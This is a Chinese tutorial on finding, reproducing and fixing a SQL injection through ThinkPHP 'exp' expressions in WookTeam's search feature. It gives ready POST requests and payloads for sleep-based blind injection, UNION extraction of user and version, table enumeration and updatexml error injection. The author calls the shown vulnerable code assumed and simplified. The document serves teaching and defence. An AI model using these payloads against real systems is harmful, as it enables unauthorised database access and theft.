1. 项目概述一次典型的白盒审计与漏洞复现之旅最近在梳理一些开源协作项目的安全性WookTeam这个基于ThinkPHP开发的团队协作工具进入了我的视线。它功能挺全任务、文档、日程都有很多小团队在用。出于习惯我下载了源码想看看其代码质量结果在审计搜索功能模块时发现了一个比较典型的SQL注入漏洞点。这个漏洞的成因和利用方式在ThinkPHP框架的历史版本中其实挺有代表性的它涉及到框架的where方法在特定参数构造下的解析缺陷。今天我就把这个漏洞的发现、分析和复现过程完整地记录下来一方面给正在学习代码审计和漏洞复现的朋友们一个具体的案例参考另一方面也提醒开发者在使用ORM对象关系映射时即使有框架“保护”也绝不能对用户输入掉以轻心。整个过程不需要复杂的工具一个代码编辑器、一个PHP集成环境比如PHPStudy和一个浏览器就够了非常适合新手入门理解SQL注入的原理与危害。2. 漏洞原理深度剖析ThinkPHP where方法的安全边界2.1 漏洞触发的核心数组参数与表达式查询要理解这个漏洞首先得对ThinkPHP这里指5.x/6.x版本的数据库查询构造器有个基本认识。ThinkPHP提供了一套流畅的查询语法其where方法非常灵活支持字符串、数组、闭包等多种形式。其中数组形式是为了方便构造复杂查询条件而设计的。一个安全的、预期的数组where用法是这样的$map [ name thinkphp, status 1, ]; Db::table(user)-where($map)-select();生成的SQL是SELECT * FROM user WHERE namethinkphp AND status1。框架会自动对键值进行参数绑定或转义防止注入。然而ThinkPHP的where方法还支持一种“表达式查询”的语法允许开发者进行更灵活的条件构造比如模糊查询、区间查询等。其格式通常是在数组值中使用特定的标识符例如$map [ name [like, %think%], create_time [between, 2023-01-01, 2023-12-31], ];这里的[like, %think%]和[between, ...]就是表达式。框架会识别这种数组结构并按照对应的逻辑生成SQL片段。漏洞就出现在这里当攻击者能够控制where方法中数组参数的“键”即字段名时如果这个键本身被构造成一个数组并且其内容符合表达式查询的格式那么ThinkPHP的解析逻辑就可能被绕过导致用户输入直接拼接进SQL语句。2.2 WookTeam searchinfo功能代码审计在WookTeam中存在一个用于全局搜索的接口或方法我们暂且称其为searchinfo。在审计其代码时通常位于某个控制器或模型文件中我发现了类似如下的代码片段public function searchInfo() { $keyword input(keyword); // 获取用户搜索关键词 $type input(type, task); // 搜索类型默认为任务 $map []; if ($keyword) { // 问题代码根据不同类型构造不同的搜索条件 switch ($type) { case task: $map[title] [like, %{$keyword}%]; break; case doc: $map[content] [like, %{$keyword}%]; break; // ... 其他case } } // 假设这里调用了某个通用查询方法 $list $this-model-where($map)-select(); return json($list); }乍一看这段代码似乎没问题$keyword被直接包裹在like表达式的值里$map数组的键title,content是硬编码的。但是关键在于$type变量。如果$type的值能被用户控制并且代码中存在一种分支允许用户以某种形式指定查询的字段名危险就来了。经过进一步追踪我发现了更危险的代码模式。在某些版本的WookTeam中可能存在一种“动态字段构造”的逻辑例如为了支持高级搜索允许前端传递一个条件数组// 危险代码示例经过简化抽象 $filter input(filter/a); // 接收一个数组/a是ThinkPHP的数组变量修饰符 $map []; if ($filter) { foreach ($filter as $field $condition) { // 错误地将用户可控的$condition直接作为where数组的值 // 假设$condition可以是字符串也可以是数组为了支持like, between等 $map[$field] $condition; } } $list Db::name(some_table)-where($map)-select();在这个例子中$field和$condition都来自用户输入的filter数组。如果攻击者构造这样的请求filter[title]some_value # 这可能导致注入但框架通常会对some_value进行转义。更致命的是攻击者可以构造filter[title][0]exp filter[title][1]sleep(5) --当$map[title]被赋值为[exp, sleep(5) -- ]时where方法会将其识别为一个“表达式查询”。其中exp是一个特殊的表达式它告诉ThinkPHP后面的内容是一个SQL表达式将不进行任何转义和参数绑定直接嵌入到查询语句中。核心原理总结漏洞的本质是用户输入污染了where条件数组的“键名”或“键值”的结构使得攻击者能够注入一个exp表达式。exp表达式是ThinkPHP提供的一个“后门”用于执行原始SQL片段它本意是给开发者处理复杂SQL函数如NOW(),GEOMETRY函数等使用的但一旦被攻击者控制就成了SQL注入的直通车。3. 漏洞复现环境搭建与利用3.1 环境准备与代码定位为了复现你需要准备以下环境PHP集成环境如PHPStudy选择PHP 7.3版本并开启相应扩展mbstring, openssl等。WookTeam源码从官方仓库下载存在漏洞的版本需要根据漏洞披露信息确定具体版本号例如可能是v3.x的某个早期版本。这里我们假设是wookteam-v3.0.0。数据库MySQL 5.7。在PHPStudy中创建数据库并导入WookTeam的SQL文件。代码编辑器VS Code、PhpStorm等用于搜索和查看代码。安装好WookTeam后第一步是定位漏洞点。根据经验搜索功能通常位于application目录下。我们可以全局搜索关键词如searchinfo、where、exp、filter等。最终我在application/common/model/ProjectTask.php或类似的任务模型文件中找到了疑似漏洞代码。3.2 构造攻击Payload与数据包假设我们找到的漏洞代码逻辑如下真实代码可能更复杂但原理一致// application/index/controller/Search.php public function advancedSearch() { $params $this-request-param(); $map []; if (isset($params[conditions]) is_array($params[conditions])) { foreach ($params[conditions] as $item) { $field $item[field] ?? ; $op $item[op] ?? eq; $value $item[value] ?? ; if ($field $value ! ) { // 危险操作根据操作符动态构建表达式数组 if ($op like) { $map[$field] [like, %{$value}%]; } elseif ($op between) { $map[$field] [between, $value]; } else { // 默认情况可能被利用 $map[$field] [$op, $value]; } } } } $list model(ProjectTask)-where($map)-select(); return json($list); }这段代码意图是好的它想支持like、between等操作。但注意else分支$map[$field] [$op, $value];。如果用户传入的$op是exp那么$value就会被直接当作SQL表达式执行。复现步骤登录系统获取一个有效的会话Cookie如PHPSESSID。确定攻击入口找到触发advancedSearch方法的接口URL。可能是/index/search/advancedSearch。构造恶意HTTP请求 使用Burp Suite、Postman或HackBar浏览器插件来发送POST请求。请求示例POST /index/search/advancedSearch HTTP/1.1 Host: your-wookteam-site.com Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSIDyour_session_id conditions[0][field]1conditions[0][op]expconditions[0][value]sleep(5)--Payload解析conditions[0][field]1这里的字段名1其实不重要可以是一个存在的字段如id也可以是一个数字或任意字符串。因为最终它会被放入exp表达式。conditions[0][op]exp这是关键指定操作类型为exp表达式。conditions[0][value]sleep(5)--这是注入的SQL代码。sleep(5)会让数据库查询暂停5秒用于盲注的时间判断。--是SQL注释符用于注释掉后续可能存在的SQL语句避免语法错误。发送请求并观察如果页面响应时间明显增加了5秒以上说明sleep(5)被执行漏洞存在。你可以尝试将sleep(5)替换为其他Payload进行进一步利用例如获取数据库名(select database())获取表名(select group_concat(table_name) from information_schema.tables where table_schemadatabase())联合查询注入需要结合具体SQL语句上下文构造可能更复杂。3.3 手工注入与信息获取实战基于时间盲注的证明虽然有效但效率低。如果漏洞点处在查询语句的前半部分且能回显数据我们可能尝试联合查询注入。假设原查询大概是SELECT id, title, content FROM project_task WHERE [我们的注入点] AND status1。我们可以构造更精确的Payload来获取数据conditions[0][field]idconditions[0][op]expconditions[0][value]1) union select 1,user(),version() --Payload解析fieldid指定一个实际存在的字段让前半部分WHERE id语法正确。value1) union select 1,user(),version() --1)闭合原查询可能存在的括号并提供一个真值。union select 1,user(),version()联合查询获取当前数据库用户和版本。--注释掉后面的AND status1等条件。发送请求后观察返回的JSON数据。如果联合查询成功返回的数据列表中可能会包含数据库用户和版本信息通常出现在title或content字段对应的位置上。实操心得在实际测试中exp注入的利用非常直接但需要你清楚地知道后端查询的字段数量。你可以通过order by猜解字段数但使用exp时更简单的方法是union select 1,2,3,4...直到页面返回正常不报错就能确定字段数。这个过程和常规的Union注入完全一样只是注入点是通过exp表达式开启的。4. 漏洞修复方案与安全编码建议4.1 针对该漏洞的紧急修复对于WookTeam的这个具体漏洞修复方法是严格过滤用户输入禁止用户控制where数组中的操作符op尤其是禁止传入exp。修复代码示例// 修复后的 advancedSearch 方法片段 $safeOps [eq, neq, gt, egt, lt, elt, like, between]; // 定义允许的操作符白名单 if ($field $value ! ) { // 检查操作符是否在白名单内 if (!in_array($op, $safeOps)) { $op eq; // 默认改为等于 } // 对value进行转义处理尽管where方法会处理但多一层防御更好 $value is_string($value) ? addslashes($value) : $value; if ($op like) { $map[$field] [like, %{$value}%]; } elseif ($op between) { // between操作需要额外处理确保$value是数组 if (!is_array($value)) { continue; } $map[$field] [between, array_map(addslashes, $value)]; } else { // 使用参数绑定格式这是最安全的方式 // ThinkPHP的where方法支持这种格式它会进行参数绑定 $map[] [$field, $op, $value]; } }关键改进操作符白名单只允许预定义的安全操作符。弃用直接数组赋值避免使用$map[$field] [$op, $value];这种危险结构。改用$map[] [$field, $op, $value];这是ThinkPHP推荐的、会触发参数绑定的安全写法。输入转义虽然ThinkPHP的查询构造器在参数绑定时会处理转义但在数据进入复杂逻辑前进行一层过滤是良好的防御习惯。4.2 面向开发者的通用安全准则这个漏洞给所有使用ORM框架的开发者敲响了警钟永远不要信任用户输入这是安全的第一原则。任何来自客户端前端、API请求的数据都必须经过验证和过滤。谨慎使用表达式查询exp、fetchSql等方法非常强大但也极其危险。除非绝对必要且你能完全控制表达式的来源否则应避免在业务代码中使用。如果必须使用务必对表达式字符串进行严格的白名单过滤只允许特定的、安全的SQL函数和字段名。善用参数绑定ThinkPHP的where方法在接收三个元素的数组如[字段名, 操作符, 值]或使用bind方法时会启用参数绑定PDO预处理。这是防止SQL注入最有效的手段。确保用户输入的数据始终作为“值”传递给查询构造器而不是作为字段名、操作符或SQL片段的一部分。进行代码安全审计在项目上线前或迭代中定期对涉及数据库操作、命令执行、文件操作的代码进行审查。重点关注那些使用了eval、exec、system、exp、query执行原生SQL等危险函数或方法的地方。使用安全工具辅助可以使用PHP代码静态分析工具如phpcs配合安全规则集、phan、psalm来扫描潜在的安全漏洞。5. 漏洞复现中的常见问题与排查技巧在复现这类漏洞时你可能会遇到一些问题下面是一些排查思路问题1发送Payload后页面返回了ThinkPHP的通用错误页面提示“SQLSTATE[HY000]: General error”。排查这通常是Payload导致的SQL语法错误。首先检查你的Payload语法是否正确特别是括号是否闭合、注释符--后面是否有空格在URL中通常需要写成--或--%20。其次用sleep()函数进行时间盲注测试是最稳妥的第一步因为它对原SQL语句结构破坏最小。问题2时间盲注测试时响应时间没有明显延迟。排查确认漏洞点你找到的代码路径可能不是最终触发点或者存在其他过滤逻辑。尝试在代码中echo或log一下最终生成的$map数组看你的Payload是否成功传递到了where方法。数据库权限sleep()函数需要数据库用户拥有相应的权限。在MySQL中通常都有。Payload被截断或转义检查中间件如WAF、框架的全局过滤函数ThinkPHP的default_filter配置是否对输入进行了处理。尝试对Payload进行编码如URL编码绕过。使用更明显的Payload尝试exp的值为1 and updatexml(1,concat(0x7e,user()),1)如果页面报错并显示出数据库用户信息则证明注入存在且是报错注入。问题3联合查询注入时页面没有回显期望的数据。排查字段数不匹配这是最常见的原因。你需要精确判断原SQL查询的字段数量。使用order by N进行盲猜或者使用union select 1,2,3...逐步增加数字直到页面正常显示。回显位置判断错误即使字段数对了数据也可能在返回结果的某个深层字段中不在你当前查看的页面上。你需要分析页面源码或JSON返回结构找到所有可能输出数据的地方。数据类型不匹配联合查询时前后两个select语句对应位置的数据类型需要兼容。如果原字段是字符串你union select对应位置是数字可能导致查询失败或数据显示异常。尝试用null或test这样的通用值。问题4在真实环境中测试担心对业务数据造成破坏。重要原则永远不要在未经授权的生产环境或他人的系统上进行漏洞测试这是法律和道德底线。安全复现务必在本地搭建完全隔离的测试环境进行复现。使用虚拟机或容器技术确保测试网络与外界隔离。测试用的Payload也应仅限于信息获取如select严禁使用update、delete、drop等破坏性语句。这个WookTeam SQL注入漏洞的复现过程清晰地展示了一个安全观念框架不是银弹。ORM确实能消除大部分拼接SQL带来的注入风险但错误的使用方式尤其是将用户输入直接代入表达式查询会亲手打开这扇安全门。对于开发者理解框架的安全机制边界至关重要对于安全研究者或学习者通过这样的案例去理解漏洞从代码层到利用层的完整链条是提升实战能力的最佳途径。下次当你看到where方法接收一个动态数组时不妨多留一个心眼想想这个数组的每一部分是否都可能被用户污染。